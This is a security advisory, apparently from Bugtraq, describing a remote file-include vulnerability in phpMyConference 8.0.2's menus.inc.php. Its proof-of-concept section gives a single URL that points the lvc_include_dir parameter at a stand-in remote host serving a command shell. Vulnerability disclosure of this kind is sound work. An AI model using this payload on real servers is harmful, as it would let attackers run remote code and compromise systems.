PHPMyConference Menus.Inc.PHP Remote File Include Vulnerability

BID:20505

Info

PHPMyConference Menus.Inc.PHP Remote File Include Vulnerability

Bugtraq ID: 20505
Class: Input Validation Error
CVE:
Remote: Yes
Local: No
Published: Oct 13 2006 12:00AM
Updated: Oct 13 2006 08:14PM
Credit: k1tk4t is credited with the discovery of this vulnerability.
Vulnerable: Loria phpMyConference 8.0.2
Not Vulnerable:

Discussion

PHPMyConference Menus.Inc.PHP Remote File Include Vulnerability

phpMyConferences is prone to a remote file-include vulnerability because the application fails to properly sanitize user-supplied input.

An attacker can exploit this issue to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may facilitate a compromise of the application and the underlying system; other attacks are also possible.

phpMyConferences 8.0.2 and prior versions are vulnerable to this issue.

Exploit / POC

PHPMyConference Menus.Inc.PHP Remote File Include Vulnerability

Attackers can exploit this issue via a web client.

A proof-of-concept exploit is also included.

http://www.example.com/phpMyConferences_8.0.2/common/visiteurs/include/menus.inc.php?lvc_include_dir=http://shell/cmd.kid?

Solution / Fix

PHPMyConference Menus.Inc.PHP Remote File Include Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected]:[email protected].

References

PHPMyConference Menus.Inc.PHP Remote File Include Vulnerability

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